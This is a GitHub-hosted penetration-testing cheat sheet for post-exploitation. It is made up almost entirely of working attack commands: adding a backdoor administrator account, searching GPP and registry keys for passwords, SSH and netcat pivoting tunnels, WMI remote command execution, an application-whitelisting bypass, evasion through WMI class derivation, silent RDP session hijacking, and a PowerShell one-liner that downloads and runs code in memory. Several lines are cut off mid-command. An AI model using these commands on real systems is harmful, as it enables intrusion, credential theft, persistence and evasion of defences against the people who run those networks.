Pentesting / Post-Exploitation-Cheat-Sheet

kmkz Update Post-Exploitation-Cheat-Sheet 47191cc · 4 years ago History

Code Blame 158 lines (108 loc) · 6.6 KB Raw

```
1
2   ********************************************************************************
3                                       Persistence/backdooring/Privesc basics
4   ********************************************************************************
5
6   [*] Windows env.:
7
8   Add user windows:
9           C:\Program Files>net user kmkz tatamaster /add
10          net user kmkz tatamaster /add
11          The command completed successfully.
12
13          C:\Program Files>net localgroup Administrators kmkz /add
14          net localgroup Administrators kmkz /add
15          The command completed successfully.
16
17  Find pass in GPP:
18          findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
19
20  Windows password value in reg.keys:
21          reg query HKLM /f password /t REG_SZ /s
22
23  Winlogon RegKey passwd research/access (psexec 4 privesc):
24          C:\xampp\webdav>reg query HKLM /f password /t REG_SZ /s
25
26  Find privesc exploit (via meterpreter) :
27          post/multi/recon/local_exploit_suggester
28
29  Recently typed "run" commands:
30          reg query x64 HKCU\software\microsoft\windows\currentversion\explorer\runmru
31
32  List available shares using WMI and powershell:
33          Get-WmiObject Win32_share -computer YourServer
34
35  [*]Linux env.:
36
37  root file with RW perms:
38          find / -user root -perm -o+w -type f 2> /dev/null  | grep -v /proc
39
40  Find privesc exploit (via meterpreter) :
41          post/multi/recon/local_exploit_suggester
42
43  ********************************************************************************
44                                          Pivoting
45  ********************************************************************************
46  Use "socks4a" as proxy to pivot (set proxyhain and/or brower proxy) in MSF
47
48  proxychains ssh -R 0.0.0.0:23:10.11.0.244:23 kmkz@10.1.1.224
49          -> Tunneling ssh (on set le lhost sur le serveur ssh, idem cot msf payload (sta
50
51  Port forwarding:
52          If a machine only is allowed to perform outbound connections on port 80 and we
53          to its RDP service, we can use a linux proxy with a port redirection software s
54
55          vim /etc/rinetd.conf
56
57          bindaddress             bindport        TargetAddress           connectport
```

```
57              bindaddress             bindport        targetAddress           connectport
58              Linux-Public-IP 80                      Target-Machine-IP       3389
59
60              note: For windows platform: fpipe and winrelay
61
62      Reverse SSH Tunnel:
63
64              plink -l root -pw toor ssh-server-ip -R 3390:127.0.0.1:3389    --> exposes the
65
66              plink -l root -pw mypassword 192.168.18.84 -R
67
68
69      SSH Dynamic Port Forwarding:
70
71              (on attacker machine) ssh -D 8000 root@owenedSSHserver.com
72
73              From here, we now are able to set a proxy that forwards all applications traffi
74              This allow us to attack the internal network from our attacking machine (using
75
76              echo "socks4 127.0.0.1 8000" > /etc/proxychains.conf
77
78      Port forwading SSH (useful!)
79              on 127.0.0.1: ssh -L 4455:192.168.12.103:443 kmkz@192.168.1.55
80              access to 443 on 192.168.12.103 through 192.168.1.55 which is the GW (Browse 12
81
82
83      mknod backpipe p
84
85              RDP on  192.168.1.14 over HTTP from 192.168.1.253 (on pivot machine:192.168.1.2
86              nc -l -p 8080 0<backpipe | nc <IP_TARGET>3389 1>backpipe
87
88      ********************************************************************************
89                                              Lateral Movement
90      ********************************************************************************
91
92      Pwn the scope:
93              https://github.com/byt3bl33d3r/CrackMapExec/wiki/Using-Credentials
94              example:
95                      crackmapexec <protocol> <target(s)> -u username -p password
96
97              -> use cmedb to view stored datas
98
99      WMI:
100             wmic /node:127.0.0.1 path win32_groupuser where (groupcomponent="win32_group.na
101
102             List sysaccount types:
103                     wmic sysaccount list /format:list
104
105             Get logged-on users:
106                     wmic /node:ordws01 path win32_loggedonuser get antecedent
107
108                     From file:
109                             wmic /node:@workstations.txt path win32_loggedonuser get antece
110
111             Authenticated RCE:
112                     local: wmic /node:127.0.0.1 PROCESS CALL Create "cmd.exe /c net user >>
113                     remote with UNC output: wmic /node:@workstations.txt /user:[admin_for_r
114
115             Application whitelisting bypass for lateral movement:
116                     wmic process get brief /format:"C:\Users\WMI\poc-wmic.xsl"
117                     wmic process LIST /FORMAT:"\\127.0.0.1\c$\Users\WMI\poc-wmic.xsl"
118
119                     Via proxy authentication:
120                     powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credential
121
122             Fudness:
123                     WMI Class Derivation (Evasion) with no "win32" prefix:
124                     $C = [WmiClass] '/root/cimv2:Win32_Process'
125                     $N = $C.derive('MyEvilProcess')
126                     $N.Put()
127                     Invoke-WmiMethod MyEvilProcess -Name CrEaTe -ArgumentList calc.exe
128
129             WMI through PtH:
130                     https://github.com/Kevin-Robertson/Invoke-TheHash/blob/master/Invoke-WM
131
```

```
** Lateral movement tip (01/2020):
Transparent RDP session hijacking using MS signed binary *only*, no session lim

[+] Prerequisites:
        - Station or server that is part of an AD forest
        - Windows >= 2012 to support shadow RDP
        - Remote RPC registry key set to 1 (classical configuration on MS Env.
        note that allowRemoteRPC key is located in HKEY_LOCAL_MACHINE\SYSTEM\Cu

+ Note that if "evil" user is D.A group member UAC is non effective EVEN if enf
+ Documentation: https://support.microsoft.com/en-us/help/951016/description-of

[+] Steps to reproduce:

        Get remote session ID you want to target using QWINSTA:
        Doc: https://docs.microsoft.com/en-us/windows-server/administration/win
        Command: qwinsta /server:(target ip addr)

        RDP session hijacking without prompt and without kicking the active ses
        Docs:
                https://docs.microsoft.com/en-us/windows-server/administration/
                https://docs.microsoft.com/en-us/previous-versions/windows/it-p
                Command: mstsc /v:(target ip addr) /admin /noconsentPrompt /shadow:(col

** Reminder **
In-memory BloodHound ingestor execution (using basic dropper.. be careful to AM
        powershell.exe -nop -exec bypass -c "(New-Object Net.WebClient).Proxy.C
```